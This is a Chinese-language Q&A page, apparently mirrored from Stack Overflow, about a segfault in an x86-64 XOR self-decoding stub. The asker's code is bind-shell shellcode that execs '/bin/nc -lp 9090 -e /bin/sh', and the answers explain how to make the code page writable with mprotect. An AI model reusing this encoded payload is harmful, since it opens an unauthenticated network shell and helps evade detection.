【问题标题】:Segmentation fault in mov instructionmov指令中的分段错误
【发布时间】:2018-06-22 11:50:43
【问题描述】:

rdi 包含一段代码的地址。我正在尝试对该代码执行 XOR 编码。当我运行该代码时,mov 指令会导致分段错误。有人可以帮忙吗?

mov byte al,[rdi];   No errors
xor al,0x7f
mov byte [rdi],al;   Causes segmeation fault

完整代码:

section .text
    global _start
    _start:
        call encrypt
    code:
        xor rax,rax
        xor rdx,rdx
        xor rcx,rcx
        xor rdx,rdx
        mov rdi,0x636e2f6e69622f2f
        shr rdi,0x8
        push rdi
        mov rdi,rsp
        mov rsi,0x6c2dffffffffffff
        shr rsi,0x30
        push rsi
        mov rsi,rsp
        mov rbx,0x702dffffffffffff
        shr rbx,0x30
        push rbx
        mov rbx,rsp
        mov rcx,0x30393039ffffffff
        shr rcx,0x20
        push rcx
        mov rcx,rsp
        mov rdx,0x652dffffffffffff
        shr rdx,0x20
        push rdx
        mov rdx,rsp
        xor r8,r8
        mov r8,0x68732f6e69622f2f
        shr r8,0x8
        push r8
        mov r8,rsp
        push r8
        push rdx
        push rcx
        push rbx
        push rsi
        push rdi
        mov rsi,rsp
        mov al,59
        syscall
    encrypt:
        pop rdi
        mov cl,0x8a
        mov bl,0
    loo:
        dec cl
        mov byte al,[rdi]
        xor al,0x7f
        mov byte [rdi],al  ;segfault occurs here
        inc rdi
        jne loo
        jmp code

【问题讨论】:

标签: assembly x86-64


【解决方案1】:

rdi 包含一段代码的地址

许多系统通过主动防止写入代码区域(a)来防止恶意代码。例如,代码选择器可能指向一个标记为只读的内存块(除非您正在运行代码尝试以某种形式的特权模式对其进行修改)。

在这种情况下,您几乎肯定会遇到这种保护机制。您如何解决它(假设它是允许的)将取决于您当前提供的环境详细信息(例如操作系统)。

例如,在 Linux 下,您可以使用 mprotect 更改对虚拟内存空间中某些地址范围的保护。


(a) 有些还会阻止您像执行代码一样执行数据,这意味着,即使您将代码移动到您可以编写的位置,您也可以无法执行。

【讨论】:

  • 还有其他方法可以写入该位置吗?
  • @John 没有足够的数据说。但可能没有。
  • @John:不是来自您的用户空间进程。您可以修改代码的 copy 并从其他地方执行它,例如如果您分配了具有 R+W+X 权限的内存页面。 IDK 为什么您一次只异或一个字节,而不是 4 或 8 个(或 SSE2 为 16 个)。也不确定为什么您显然在源代码中硬编码代码的绝对地址,尽管我想如果您想要一个地址的 XORed 版本,您将无法让链接器为您执行此操作。但它不适用于库或 PIE 可执行文件中的代码 ASLR。
  • 我使用 mprotect 系统调用将内存保护更改为在该页面上可写。现在它可以正常工作
猜你喜欢
  • 2016-09-06
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2020-11-11
  • 2015-07-06
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多